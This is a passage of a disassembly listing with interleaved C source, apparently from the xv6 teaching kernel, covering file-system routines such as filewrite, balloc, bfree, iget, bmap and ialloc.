80100fb9: 89 f0 mov %esi,%eax
80100fbb: 5b pop %ebx
80100fbc: 5e pop %esi
80100fbd: 5f pop %edi
80100fbe: 5d pop %ebp
80100fbf: c3 ret
return piperead(f->pipe, addr, n);
80100fc0: 8b 43 0c mov 0xc(%ebx),%eax
80100fc3: 89 45 08 mov %eax,0x8(%ebp)
}
80100fc6: 8d 65 f4 lea -0xc(%ebp),%esp
80100fc9: 5b pop %ebx
80100fca: 5e pop %esi
80100fcb: 5f pop %edi
80100fcc: 5d pop %ebp
return piperead(f->pipe, addr, n);
80100fcd: e9 0e 26 00 00 jmp 801035e0 <piperead>
80100fd2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
80100fd8: be ff ff ff ff mov $0xffffffff,%esi
80100fdd: eb d7 jmp 80100fb6 <fileread+0x56>
panic("fileread");
80100fdf: 83 ec 0c sub $0xc,%esp
80100fe2: 68 06 74 10 80 push $0x80107406
80100fe7: e8 a4 f3 ff ff call 80100390 <panic>
80100fec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100ff0 <filewrite>:
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
80100ff0: 55 push %ebp
80100ff1: 89 e5 mov %esp,%ebp
80100ff3: 57 push %edi
80100ff4: 56 push %esi
80100ff5: 53 push %ebx
80100ff6: 83 ec 1c sub $0x1c,%esp
80100ff9: 8b 75 08 mov 0x8(%ebp),%esi
80100ffc: 8b 45 0c mov 0xc(%ebp),%eax
int r;
if(f->writable == 0)
80100fff: 80 7e 09 00 cmpb $0x0,0x9(%esi)
{
80101003: 89 45 dc mov %eax,-0x24(%ebp)
80101006: 8b 45 10 mov 0x10(%ebp),%eax
80101009: 89 45 e4 mov %eax,-0x1c(%ebp)
if(f->writable == 0)
8010100c: 0f 84 aa 00 00 00 je 801010bc <filewrite+0xcc>
return -1;
if(f->type == FD_PIPE)
80101012: 8b 06 mov (%esi),%eax
80101014: 83 f8 01 cmp $0x1,%eax
80101017: 0f 84 c3 00 00 00 je 801010e0 <filewrite+0xf0>
return pipewrite(f->pipe, addr, n);
if(f->type == FD_INODE){
8010101d: 83 f8 02 cmp $0x2,%eax
80101020: 0f 85 d9 00 00 00 jne 801010ff <filewrite+0x10f>
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512;
int i = 0;
while(i < n){
80101026: 8b 45 e4 mov -0x1c(%ebp),%eax
int i = 0;
80101029: 31 ff xor %edi,%edi
while(i < n){
8010102b: 85 c0 test %eax,%eax
8010102d: 7f 34 jg 80101063 <filewrite+0x73>
8010102f: e9 9c 00 00 00 jmp 801010d0 <filewrite+0xe0>
80101034: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
n1 = max;
begin_op();
ilock(f->ip);
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
f->off += r;
80101038: 01 46 14 add %eax,0x14(%esi)
iunlock(f->ip);
8010103b: 83 ec 0c sub $0xc,%esp
8010103e: ff 76 10 pushl 0x10(%esi)
f->off += r;
80101041: 89 45 e0 mov %eax,-0x20(%ebp)
iunlock(f->ip);
80101044: e8 17 07 00 00 call 80101760 <iunlock>
end_op();
80101049: e8 a2 1c 00 00 call 80102cf0 <end_op>
8010104e: 8b 45 e0 mov -0x20(%ebp),%eax
80101051: 83 c4 10 add $0x10,%esp
if(r < 0)
break;
if(r != n1)
80101054: 39 c3 cmp %eax,%ebx
80101056: 0f 85 96 00 00 00 jne 801010f2 <filewrite+0x102>
panic("short filewrite");
i += r;
8010105c: 01 df add %ebx,%edi
while(i < n){
8010105e: 39 7d e4 cmp %edi,-0x1c(%ebp)
80101061: 7e 6d jle 801010d0 <filewrite+0xe0>
int n1 = n - i;
80101063: 8b 5d e4 mov -0x1c(%ebp),%ebx
80101066: b8 00 06 00 00 mov $0x600,%eax
8010106b: 29 fb sub %edi,%ebx
8010106d: 81 fb 00 06 00 00 cmp $0x600,%ebx
80101073: 0f 4f d8 cmovg %eax,%ebx
begin_op();
80101076: e8 05 1c 00 00 call 80102c80 <begin_op>
ilock(f->ip);
8010107b: 83 ec 0c sub $0xc,%esp
8010107e: ff 76 10 pushl 0x10(%esi)
80101081: e8 fa 05 00 00 call 80101680 <ilock>
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
80101086: 8b 45 dc mov -0x24(%ebp),%eax
80101089: 53 push %ebx
8010108a: ff 76 14 pushl 0x14(%esi)
8010108d: 01 f8 add %edi,%eax
8010108f: 50 push %eax
80101090: ff 76 10 pushl 0x10(%esi)
80101093: e8 c8 09 00 00 call 80101a60 <writei>
80101098: 83 c4 20 add $0x20,%esp
8010109b: 85 c0 test %eax,%eax
8010109d: 7f 99 jg 80101038 <filewrite+0x48>
iunlock(f->ip);
8010109f: 83 ec 0c sub $0xc,%esp
801010a2: ff 76 10 pushl 0x10(%esi)
801010a5: 89 45 e0 mov %eax,-0x20(%ebp)
801010a8: e8 b3 06 00 00 call 80101760 <iunlock>
end_op();
801010ad: e8 3e 1c 00 00 call 80102cf0 <end_op>
if(r < 0)
801010b2: 8b 45 e0 mov -0x20(%ebp),%eax
801010b5: 83 c4 10 add $0x10,%esp
801010b8: 85 c0 test %eax,%eax
801010ba: 74 98 je 80101054 <filewrite+0x64>
}
return i == n ? n : -1;
}
panic("filewrite");
}
801010bc: 8d 65 f4 lea -0xc(%ebp),%esp
return -1;
801010bf: bf ff ff ff ff mov $0xffffffff,%edi
}
801010c4: 89 f8 mov %edi,%eax
801010c6: 5b pop %ebx
801010c7: 5e pop %esi
801010c8: 5f pop %edi
801010c9: 5d pop %ebp
801010ca: c3 ret
801010cb: 90 nop
801010cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return i == n ? n : -1;
801010d0: 39 7d e4 cmp %edi,-0x1c(%ebp)
801010d3: 75 e7 jne 801010bc <filewrite+0xcc>
}
801010d5: 8d 65 f4 lea -0xc(%ebp),%esp
801010d8: 89 f8 mov %edi,%eax
801010da: 5b pop %ebx
801010db: 5e pop %esi
801010dc: 5f pop %edi
801010dd: 5d pop %ebp
801010de: c3 ret
801010df: 90 nop
return pipewrite(f->pipe, addr, n);
801010e0: 8b 46 0c mov 0xc(%esi),%eax
801010e3: 89 45 08 mov %eax,0x8(%ebp)
}
801010e6: 8d 65 f4 lea -0xc(%ebp),%esp
801010e9: 5b pop %ebx
801010ea: 5e pop %esi
801010eb: 5f pop %edi
801010ec: 5d pop %ebp
return pipewrite(f->pipe, addr, n);
801010ed: e9 de 23 00 00 jmp 801034d0 <pipewrite>
panic("short filewrite");
801010f2: 83 ec 0c sub $0xc,%esp
801010f5: 68 0f 74 10 80 push $0x8010740f
801010fa: e8 91 f2 ff ff call 80100390 <panic>
panic("filewrite");
801010ff: 83 ec 0c sub $0xc,%esp
80101102: 68 15 74 10 80 push $0x80107415
80101107: e8 84 f2 ff ff call 80100390 <panic>
8010110c: 66 90 xchg %ax,%ax
8010110e: 66 90 xchg %ax,%ax
80101110 <bfree>:
}
// Free a disk block.
static void
bfree(int dev, uint b)
{
80101110: 55 push %ebp
80101111: 89 e5 mov %esp,%ebp
80101113: 56 push %esi
80101114: 53 push %ebx
80101115: 89 d3 mov %edx,%ebx
struct buf *bp;
int bi, m;
bp = bread(dev, BBLOCK(b, sb));
80101117: c1 ea 0c shr $0xc,%edx
8010111a: 03 15 f8 09 11 80 add 0x801109f8,%edx
80101120: 83 ec 08 sub $0x8,%esp
80101123: 52 push %edx
80101124: 50 push %eax
80101125: e8 a6 ef ff ff call 801000d0 <bread>
bi = b % BPB;
m = 1 << (bi % 8);
8010112a: 89 d9 mov %ebx,%ecx
if((bp->data[bi/8] & m) == 0)
8010112c: c1 fb 03 sar $0x3,%ebx
m = 1 << (bi % 8);
8010112f: ba 01 00 00 00 mov $0x1,%edx
80101134: 83 e1 07 and $0x7,%ecx
if((bp->data[bi/8] & m) == 0)
80101137: 81 e3 ff 01 00 00 and $0x1ff,%ebx
8010113d: 83 c4 10 add $0x10,%esp
m = 1 << (bi % 8);
80101140: d3 e2 shl %cl,%edx
if((bp->data[bi/8] & m) == 0)
80101142: 0f b6 4c 18 5c movzbl 0x5c(%eax,%ebx,1),%ecx
80101147: 85 d1 test %edx,%ecx
80101149: 74 25 je 80101170 <bfree+0x60>
panic("freeing free block");
bp->data[bi/8] &= ~m;
8010114b: f7 d2 not %edx
8010114d: 89 c6 mov %eax,%esi
log_write(bp);
8010114f: 83 ec 0c sub $0xc,%esp
bp->data[bi/8] &= ~m;
80101152: 21 ca and %ecx,%edx
80101154: 88 54 1e 5c mov %dl,0x5c(%esi,%ebx,1)
log_write(bp);
80101158: 56 push %esi
80101159: e8 f2 1c 00 00 call 80102e50 <log_write>
brelse(bp);
8010115e: 89 34 24 mov %esi,(%esp)
80101161: e8 7a f0 ff ff call 801001e0 <brelse>
}
80101166: 83 c4 10 add $0x10,%esp
80101169: 8d 65 f8 lea -0x8(%ebp),%esp
8010116c: 5b pop %ebx
8010116d: 5e pop %esi
8010116e: 5d pop %ebp
8010116f: c3 ret
panic("freeing free block");
80101170: 83 ec 0c sub $0xc,%esp
80101173: 68 1f 74 10 80 push $0x8010741f
80101178: e8 13 f2 ff ff call 80100390 <panic>
8010117d: 8d 76 00 lea 0x0(%esi),%esi
80101180 <balloc>:
{
80101180: 55 push %ebp
80101181: 89 e5 mov %esp,%ebp
80101183: 57 push %edi
80101184: 56 push %esi
80101185: 53 push %ebx
80101186: 83 ec 1c sub $0x1c,%esp
for(b = 0; b < sb.size; b += BPB){
80101189: 8b 0d e0 09 11 80 mov 0x801109e0,%ecx
{
8010118f: 89 45 d8 mov %eax,-0x28(%ebp)
for(b = 0; b < sb.size; b += BPB){
80101192: 85 c9 test %ecx,%ecx
80101194: 0f 84 87 00 00 00 je 80101221 <balloc+0xa1>
8010119a: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp)
bp = bread(dev, BBLOCK(b, sb));
801011a1: 8b 75 dc mov -0x24(%ebp),%esi
801011a4: 83 ec 08 sub $0x8,%esp
801011a7: 89 f0 mov %esi,%eax
801011a9: c1 f8 0c sar $0xc,%eax
801011ac: 03 05 f8 09 11 80 add 0x801109f8,%eax
801011b2: 50 push %eax
801011b3: ff 75 d8 pushl -0x28(%ebp)
801011b6: e8 15 ef ff ff call 801000d0 <bread>
801011bb: 89 45 e4 mov %eax,-0x1c(%ebp)
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
801011be: a1 e0 09 11 80 mov 0x801109e0,%eax
801011c3: 83 c4 10 add $0x10,%esp
801011c6: 89 45 e0 mov %eax,-0x20(%ebp)
801011c9: 31 c0 xor %eax,%eax
801011cb: eb 2f jmp 801011fc <balloc+0x7c>
801011cd: 8d 76 00 lea 0x0(%esi),%esi
m = 1 << (bi % 8);
801011d0: 89 c1 mov %eax,%ecx
if((bp->data[bi/8] & m) == 0){ // Is block free?
801011d2: 8b 55 e4 mov -0x1c(%ebp),%edx
m = 1 << (bi % 8);
801011d5: bb 01 00 00 00 mov $0x1,%ebx
801011da: 83 e1 07 and $0x7,%ecx
801011dd: d3 e3 shl %cl,%ebx
if((bp->data[bi/8] & m) == 0){ // Is block free?
801011df: 89 c1 mov %eax,%ecx
801011e1: c1 f9 03 sar $0x3,%ecx
801011e4: 0f b6 7c 0a 5c movzbl 0x5c(%edx,%ecx,1),%edi
801011e9: 85 df test %ebx,%edi
801011eb: 89 fa mov %edi,%edx
801011ed: 74 41 je 80101230 <balloc+0xb0>
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
801011ef: 83 c0 01 add $0x1,%eax
801011f2: 83 c6 01 add $0x1,%esi
801011f5: 3d 00 10 00 00 cmp $0x1000,%eax
801011fa: 74 05 je 80101201 <balloc+0x81>
801011fc: 39 75 e0 cmp %esi,-0x20(%ebp)
801011ff: 77 cf ja 801011d0 <balloc+0x50>
brelse(bp);
80101201: 83 ec 0c sub $0xc,%esp
80101204: ff 75 e4 pushl -0x1c(%ebp)
80101207: e8 d4 ef ff ff call 801001e0 <brelse>
for(b = 0; b < sb.size; b += BPB){
8010120c: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp)
80101213: 83 c4 10 add $0x10,%esp
80101216: 8b 45 dc mov -0x24(%ebp),%eax
80101219: 39 05 e0 09 11 80 cmp %eax,0x801109e0
8010121f: 77 80 ja 801011a1 <balloc+0x21>
panic("balloc: out of blocks");
80101221: 83 ec 0c sub $0xc,%esp
80101224: 68 32 74 10 80 push $0x80107432
80101229: e8 62 f1 ff ff call 80100390 <panic>
8010122e: 66 90 xchg %ax,%ax
bp->data[bi/8] |= m; // Mark block in use.
80101230: 8b 7d e4 mov -0x1c(%ebp),%edi
log_write(bp);
80101233: 83 ec 0c sub $0xc,%esp
bp->data[bi/8] |= m; // Mark block in use.
80101236: 09 da or %ebx,%edx
80101238: 88 54 0f 5c mov %dl,0x5c(%edi,%ecx,1)
log_write(bp);
8010123c: 57 push %edi
8010123d: e8 0e 1c 00 00 call 80102e50 <log_write>
brelse(bp);
80101242: 89 3c 24 mov %edi,(%esp)
80101245: e8 96 ef ff ff call 801001e0 <brelse>
bp = bread(dev, bno);
8010124a: 58 pop %eax
8010124b: 5a pop %edx
8010124c: 56 push %esi
8010124d: ff 75 d8 pushl -0x28(%ebp)
80101250: e8 7b ee ff ff call 801000d0 <bread>
80101255: 89 c3 mov %eax,%ebx
memset(bp->data, 0, BSIZE);
80101257: 8d 40 5c lea 0x5c(%eax),%eax
8010125a: 83 c4 0c add $0xc,%esp
8010125d: 68 00 02 00 00 push $0x200
80101262: 6a 00 push $0x0
80101264: 50 push %eax
80101265: e8 06 34 00 00 call 80104670 <memset>
log_write(bp);
8010126a: 89 1c 24 mov %ebx,(%esp)
8010126d: e8 de 1b 00 00 call 80102e50 <log_write>
brelse(bp);
80101272: 89 1c 24 mov %ebx,(%esp)
80101275: e8 66 ef ff ff call 801001e0 <brelse>
}
8010127a: 8d 65 f4 lea -0xc(%ebp),%esp
8010127d: 89 f0 mov %esi,%eax
8010127f: 5b pop %ebx
80101280: 5e pop %esi
80101281: 5f pop %edi
80101282: 5d pop %ebp
80101283: c3 ret
80101284: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010128a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80101290 <iget>:
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
80101290: 55 push %ebp
80101291: 89 e5 mov %esp,%ebp
80101293: 57 push %edi
80101294: 56 push %esi
80101295: 53 push %ebx
80101296: 89 c7 mov %eax,%edi
struct inode *ip, *empty;
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
80101298: 31 f6 xor %esi,%esi
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010129a: bb 34 0a 11 80 mov $0x80110a34,%ebx
{
8010129f: 83 ec 28 sub $0x28,%esp
801012a2: 89 55 e4 mov %edx,-0x1c(%ebp)
acquire(&icache.lock);
801012a5: 68 00 0a 11 80 push $0x80110a00
801012aa: e8 b1 32 00 00 call 80104560 <acquire>
801012af: 83 c4 10 add $0x10,%esp
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
801012b2: 8b 55 e4 mov -0x1c(%ebp),%edx
801012b5: eb 17 jmp 801012ce <iget+0x3e>
801012b7: 89 f6 mov %esi,%esi
801012b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801012c0: 81 c3 90 00 00 00 add $0x90,%ebx
801012c6: 81 fb 54 26 11 80 cmp $0x80112654,%ebx
801012cc: 73 22 jae 801012f0 <iget+0x60>
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
801012ce: 8b 4b 08 mov 0x8(%ebx),%ecx
801012d1: 85 c9 test %ecx,%ecx
801012d3: 7e 04 jle 801012d9 <iget+0x49>
801012d5: 39 3b cmp %edi,(%ebx)
801012d7: 74 4f je 80101328 <iget+0x98>
ip->ref++;
release(&icache.lock);
return ip;
}
if(empty == 0 && ip->ref == 0) // Remember empty slot.
801012d9: 85 f6 test %esi,%esi
801012db: 75 e3 jne 801012c0 <iget+0x30>
801012dd: 85 c9 test %ecx,%ecx
801012df: 0f 44 f3 cmove %ebx,%esi
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
801012e2: 81 c3 90 00 00 00 add $0x90,%ebx
801012e8: 81 fb 54 26 11 80 cmp $0x80112654,%ebx
801012ee: 72 de jb 801012ce <iget+0x3e>
empty = ip;
}
// Recycle an inode cache entry.
if(empty == 0)
801012f0: 85 f6 test %esi,%esi
801012f2: 74 5b je 8010134f <iget+0xbf>
ip = empty;
ip->dev = dev;
ip->inum = inum;
ip->ref = 1;
ip->valid = 0;
release(&icache.lock);
801012f4: 83 ec 0c sub $0xc,%esp
ip->dev = dev;
801012f7: 89 3e mov %edi,(%esi)
ip->inum = inum;
801012f9: 89 56 04 mov %edx,0x4(%esi)
ip->ref = 1;
801012fc: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi)
ip->valid = 0;
80101303: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi)
release(&icache.lock);
8010130a: 68 00 0a 11 80 push $0x80110a00
8010130f: e8 0c 33 00 00 call 80104620 <release>
return ip;
80101314: 83 c4 10 add $0x10,%esp
}
80101317: 8d 65 f4 lea -0xc(%ebp),%esp
8010131a: 89 f0 mov %esi,%eax
8010131c: 5b pop %ebx
8010131d: 5e pop %esi
8010131e: 5f pop %edi
8010131f: 5d pop %ebp
80101320: c3 ret
80101321: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
80101328: 39 53 04 cmp %edx,0x4(%ebx)
8010132b: 75 ac jne 801012d9 <iget+0x49>
release(&icache.lock);
8010132d: 83 ec 0c sub $0xc,%esp
ip->ref++;
80101330: 83 c1 01 add $0x1,%ecx
return ip;
80101333: 89 de mov %ebx,%esi
release(&icache.lock);
80101335: 68 00 0a 11 80 push $0x80110a00
ip->ref++;
8010133a: 89 4b 08 mov %ecx,0x8(%ebx)
release(&icache.lock);
8010133d: e8 de 32 00 00 call 80104620 <release>
return ip;
80101342: 83 c4 10 add $0x10,%esp
}
80101345: 8d 65 f4 lea -0xc(%ebp),%esp
80101348: 89 f0 mov %esi,%eax
8010134a: 5b pop %ebx
8010134b: 5e pop %esi
8010134c: 5f pop %edi
8010134d: 5d pop %ebp
8010134e: c3 ret
panic("iget: no inodes");
8010134f: 83 ec 0c sub $0xc,%esp
80101352: 68 48 74 10 80 push $0x80107448
80101357: e8 34 f0 ff ff call 80100390 <panic>
8010135c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101360 <bmap>:
// Return the disk block address of the nth block in inode ip.
// If there is no such block, bmap allocates one.
static uint
bmap(struct inode *ip, uint bn)
{
80101360: 55 push %ebp
80101361: 89 e5 mov %esp,%ebp
80101363: 57 push %edi
80101364: 56 push %esi
80101365: 53 push %ebx
80101366: 89 c6 mov %eax,%esi
80101368: 83 ec 1c sub $0x1c,%esp
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
8010136b: 83 fa 0b cmp $0xb,%edx
8010136e: 77 18 ja 80101388 <bmap+0x28>
80101370: 8d 3c 90 lea (%eax,%edx,4),%edi
if((addr = ip->addrs[bn]) == 0)
80101373: 8b 5f 5c mov 0x5c(%edi),%ebx
80101376: 85 db test %ebx,%ebx
80101378: 74 76 je 801013f0 <bmap+0x90>
brelse(bp);
return addr;
}
panic("bmap: out of range");
}
8010137a: 8d 65 f4 lea -0xc(%ebp),%esp
8010137d: 89 d8 mov %ebx,%eax
8010137f: 5b pop %ebx
80101380: 5e pop %esi
80101381: 5f pop %edi
80101382: 5d pop %ebp
80101383: c3 ret
80101384: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bn -= NDIRECT;
80101388: 8d 5a f4 lea -0xc(%edx),%ebx
if(bn < NINDIRECT){
8010138b: 83 fb 7f cmp $0x7f,%ebx
8010138e: 0f 87 90 00 00 00 ja 80101424 <bmap+0xc4>
if((addr = ip->addrs[NDIRECT]) == 0)
80101394: 8b 90 8c 00 00 00 mov 0x8c(%eax),%edx
8010139a: 8b 00 mov (%eax),%eax
8010139c: 85 d2 test %edx,%edx
8010139e: 74 70 je 80101410 <bmap+0xb0>
bp = bread(ip->dev, addr);
801013a0: 83 ec 08 sub $0x8,%esp
801013a3: 52 push %edx
801013a4: 50 push %eax
801013a5: e8 26 ed ff ff call 801000d0 <bread>
if((addr = a[bn]) == 0){
801013aa: 8d 54 98 5c lea 0x5c(%eax,%ebx,4),%edx
801013ae: 83 c4 10 add $0x10,%esp
bp = bread(ip->dev, addr);
801013b1: 89 c7 mov %eax,%edi
if((addr = a[bn]) == 0){
801013b3: 8b 1a mov (%edx),%ebx
801013b5: 85 db test %ebx,%ebx
801013b7: 75 1d jne 801013d6 <bmap+0x76>
a[bn] = addr = balloc(ip->dev);
801013b9: 8b 06 mov (%esi),%eax
801013bb: 89 55 e4 mov %edx,-0x1c(%ebp)
801013be: e8 bd fd ff ff call 80101180 <balloc>
801013c3: 8b 55 e4 mov -0x1c(%ebp),%edx
log_write(bp);
801013c6: 83 ec 0c sub $0xc,%esp
a[bn] = addr = balloc(ip->dev);
801013c9: 89 c3 mov %eax,%ebx
801013cb: 89 02 mov %eax,(%edx)
log_write(bp);
801013cd: 57 push %edi
801013ce: e8 7d 1a 00 00 call 80102e50 <log_write>
801013d3: 83 c4 10 add $0x10,%esp
brelse(bp);
801013d6: 83 ec 0c sub $0xc,%esp
801013d9: 57 push %edi
801013da: e8 01 ee ff ff call 801001e0 <brelse>
801013df: 83 c4 10 add $0x10,%esp
}
801013e2: 8d 65 f4 lea -0xc(%ebp),%esp
801013e5: 89 d8 mov %ebx,%eax
801013e7: 5b pop %ebx
801013e8: 5e pop %esi
801013e9: 5f pop %edi
801013ea: 5d pop %ebp
801013eb: c3 ret
801013ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ip->addrs[bn] = addr = balloc(ip->dev);
801013f0: 8b 00 mov (%eax),%eax
801013f2: e8 89 fd ff ff call 80101180 <balloc>
801013f7: 89 47 5c mov %eax,0x5c(%edi)
}
801013fa: 8d 65 f4 lea -0xc(%ebp),%esp
ip->addrs[bn] = addr = balloc(ip->dev);
801013fd: 89 c3 mov %eax,%ebx
}
801013ff: 89 d8 mov %ebx,%eax
80101401: 5b pop %ebx
80101402: 5e pop %esi
80101403: 5f pop %edi
80101404: 5d pop %ebp
80101405: c3 ret
80101406: 8d 76 00 lea 0x0(%esi),%esi
80101409: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
80101410: e8 6b fd ff ff call 80101180 <balloc>
80101415: 89 c2 mov %eax,%edx
80101417: 89 86 8c 00 00 00 mov %eax,0x8c(%esi)
8010141d: 8b 06 mov (%esi),%eax
8010141f: e9 7c ff ff ff jmp 801013a0 <bmap+0x40>
panic("bmap: out of range");
80101424: 83 ec 0c sub $0xc,%esp
80101427: 68 58 74 10 80 push $0x80107458
8010142c: e8 5f ef ff ff call 80100390 <panic>
80101431: eb 0d jmp 80101440 <readsb>
80101433: 90 nop
80101434: 90 nop
80101435: 90 nop
80101436: 90 nop
80101437: 90 nop
80101438: 90 nop
80101439: 90 nop
8010143a: 90 nop
8010143b: 90 nop
8010143c: 90 nop
8010143d: 90 nop
8010143e: 90 nop
8010143f: 90 nop
80101440 <readsb>:
{
80101440: 55 push %ebp
80101441: 89 e5 mov %esp,%ebp
80101443: 56 push %esi
80101444: 53 push %ebx
80101445: 8b 75 0c mov 0xc(%ebp),%esi
bp = bread(dev, 1);
80101448: 83 ec 08 sub $0x8,%esp
8010144b: 6a 01 push $0x1
8010144d: ff 75 08 pushl 0x8(%ebp)
80101450: e8 7b ec ff ff call 801000d0 <bread>
80101455: 89 c3 mov %eax,%ebx
memmove(sb, bp->data, sizeof(*sb));
80101457: 8d 40 5c lea 0x5c(%eax),%eax
8010145a: 83 c4 0c add $0xc,%esp
8010145d: 6a 1c push $0x1c
8010145f: 50 push %eax
80101460: 56 push %esi
80101461: e8 ba 32 00 00 call 80104720 <memmove>
brelse(bp);
80101466: 89 5d 08 mov %ebx,0x8(%ebp)
80101469: 83 c4 10 add $0x10,%esp
}
8010146c: 8d 65 f8 lea -0x8(%ebp),%esp
8010146f: 5b pop %ebx
80101470: 5e pop %esi
80101471: 5d pop %ebp
brelse(bp);
80101472: e9 69 ed ff ff jmp 801001e0 <brelse>
80101477: 89 f6 mov %esi,%esi
80101479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101480 <iinit>:
{
80101480: 55 push %ebp
80101481: 89 e5 mov %esp,%ebp
80101483: 53 push %ebx
80101484: bb 40 0a 11 80 mov $0x80110a40,%ebx
80101489: 83 ec 0c sub $0xc,%esp
initlock(&icache.lock, "icache");
8010148c: 68 6b 74 10 80 push $0x8010746b
80101491: 68 00 0a 11 80 push $0x80110a00
80101496: e8 85 2f 00 00 call 80104420 <initlock>
8010149b: 83 c4 10 add $0x10,%esp
8010149e: 66 90 xchg %ax,%ax
initsleeplock(&icache.inode[i].lock, "inode");
801014a0: 83 ec 08 sub $0x8,%esp
801014a3: 68 72 74 10 80 push $0x80107472
801014a8: 53 push %ebx
801014a9: 81 c3 90 00 00 00 add $0x90,%ebx
801014af: e8 3c 2e 00 00 call 801042f0 <initsleeplock>
for(i = 0; i < NINODE; i++) {
801014b4: 83 c4 10 add $0x10,%esp
801014b7: 81 fb 60 26 11 80 cmp $0x80112660,%ebx
801014bd: 75 e1 jne 801014a0 <iinit+0x20>
readsb(dev, &sb);
801014bf: 83 ec 08 sub $0x8,%esp
801014c2: 68 e0 09 11 80 push $0x801109e0
801014c7: ff 75 08 pushl 0x8(%ebp)
801014ca: e8 71 ff ff ff call 80101440 <readsb>
cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\
801014cf: ff 35 f8 09 11 80 pushl 0x801109f8
801014d5: ff 35 f4 09 11 80 pushl 0x801109f4
801014db: ff 35 f0 09 11 80 pushl 0x801109f0
801014e1: ff 35 ec 09 11 80 pushl 0x801109ec
801014e7: ff 35 e8 09 11 80 pushl 0x801109e8
801014ed: ff 35 e4 09 11 80 pushl 0x801109e4
801014f3: ff 35 e0 09 11 80 pushl 0x801109e0
801014f9: 68 d8 74 10 80 push $0x801074d8
801014fe: e8 5d f1 ff ff call 80100660 <cprintf>
}
80101503: 83 c4 30 add $0x30,%esp
80101506: 8b 5d fc mov -0x4(%ebp),%ebx
80101509: c9 leave
8010150a: c3 ret
8010150b: 90 nop
8010150c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101510 <ialloc>:
{
80101510: 55 push %ebp
80101511: 89 e5 mov %esp,%ebp
80101513: 57 push %edi
80101514: 56 push %esi
80101515: 53 push %ebx
80101516: 83 ec 1c sub $0x1c,%esp
for(inum = 1; inum < sb.ninodes; inum++){
80101519: 83 3d e8 09 11 80 01 cmpl $0x1,0x801109e8
{
80101520: 8b 45 0c mov 0xc(%ebp),%eax
80101523: 8b 75 08 mov 0x8(%ebp),%esi
80101526: 89 45 e4 mov %eax,-0x1c(%ebp)
for(inum = 1; inum < sb.ninodes; inum++){
80101529: 0f 86 91 00 00 00 jbe 801015c0 <ialloc+0xb0>
8010152f: bb 01 00 00 00 mov $0x1,%ebx
80101534: eb 21 jmp 80101557 <ialloc+0x47>
80101536: 8d 76 00 lea 0x0(%esi),%esi
80101539: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
brelse(bp);
80101540: 83 ec 0c sub $0xc,%esp
for(inum = 1; inum < sb.ninodes; inum++){
80101543: 83 c3 01 add $0x1,%ebx
brelse(bp);
80101546: 57 push %edi
80101547: e8 94 ec ff ff call 801001e0 <brelse>
for(inum = 1; inum < sb.ninodes; inum++){
8010154c: 83 c4 10 add $0x10,%esp
8010154f: 39 1d e8 09 11 80 cmp %ebx,0x801109e8
80101555: 76 69 jbe 801015c0 <ialloc+0xb0>
bp = bread(dev, IBLOCK(inum, sb));
80101557: 89 d8 mov %ebx,%eax
80101559: 83 ec 08 sub $0x8,%esp
8010155c: c1 e8 03 shr $0x3,%eax
8010155f: 03 05 f4 09 11 80 add 0x801109f4,%eax
80101565: 50 push %eax
80101566: 56 push %esi
80101567: e8 64 eb ff ff call 801000d0 <bread>
8010156c: 89 c7 mov %eax,%edi
dip = (struct dinode*)bp->data + inum%IPB;
8010156e: 89 d8 mov %ebx,%eax
if(dip->type == 0){ // a free inode
80101570: 83 c4 10 add $0x10,%esp
dip = (struct dinode*)bp->data + inum%IPB;
80101573: 83 e0 07 and $0x7,%eax
80101576: c1 e0 06 shl $0x6,%eax
80101579: 8d 4c 07 5c lea 0x5c(%edi,%eax,1),%ecx
if(dip->type == 0){ // a free inode
8010157d: 66 83 39 00 cmpw $0x0,(%ecx)
80101581: 75 bd jne 80101540 <ialloc+0x30>
memset(dip, 0, sizeof(*dip));
80101583: 83 ec 04 sub $0x4,%esp
80101586: 89 4d e0 mov %ecx,-0x20(%ebp)
80101589: 6a 40 push $0x40
8010158b: 6a 00 push $0x0
8010158d: 51 push %ecx
8010158e: e8 dd 30 00 00 call 80104670 <memset>
dip->type = type;
80101593: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax
80101597: 8b 4d e0 mov -0x20(%ebp),%ecx
8010159a: 66 89 01 mov %ax,(%ecx)
